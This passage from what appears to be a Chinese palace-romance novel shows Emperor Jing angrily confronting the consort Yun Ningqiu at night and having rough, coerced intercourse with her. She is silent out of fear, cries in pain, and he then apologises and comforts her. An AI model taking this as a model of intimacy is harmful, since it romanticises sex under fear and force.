景帝俯身逼近,迫使她看着自己:“你看清楚了吗,朕不是你想的那个人!” “你把朕推给别的人,是因为你忘不了你心里那个人,对吗?” 云凝秋咬着唇,不敢回答,不能回答。 这种情况下,但凡开口,怎么都是不对。而一旦答偏半分,那与送命简直没区别。 后宫佳丽如云,都是以往景帝自己选的,而且宋美人说以前他隔三差五就去后宫,按理说他应该挺喜欢她们的,她怎么会知晓他会因自己那几句话就如此动怒?更猜不到他会半夜前来做这种事…… “为何不说话?”景帝声音冷冽,带着质问,动作没有停歇,反而更加用力,像是要将她柔软的身体给撞碎。 他盯着她:“你不解释吗?” 云凝秋没有解释,只是哭出声来。 哭声在这只有他们二人的地方格外清晰。景帝忽的一愣,眼中闪过一丝慌乱。 她别开头,眼泪大颗大颗滑落。因为抽泣肩膀一抖一抖,连哭声都是颤的。 景帝的动作停下,看着身下哭得梨花带雨的美人,他的怒意被压制下去。半晌后,有一声叹息响起。 他伸出手轻轻抹去她的眼泪,嗓音也无奈的软下去:“好了,不哭了,你不想回答,那便无需回答。” 云凝秋哽咽着:“好疼……” 想起自己的粗暴之举,景帝面露愧疚,他抽身而出,转而将人揽进怀中:“是朕不好。” 云凝秋的眼泪打湿景帝衣襟,他紧紧抱着她,柔声安抚着。 直至她哭累了,在他怀中睡去。 可他却在这夜里分外清醒,心情复杂,全无睡意。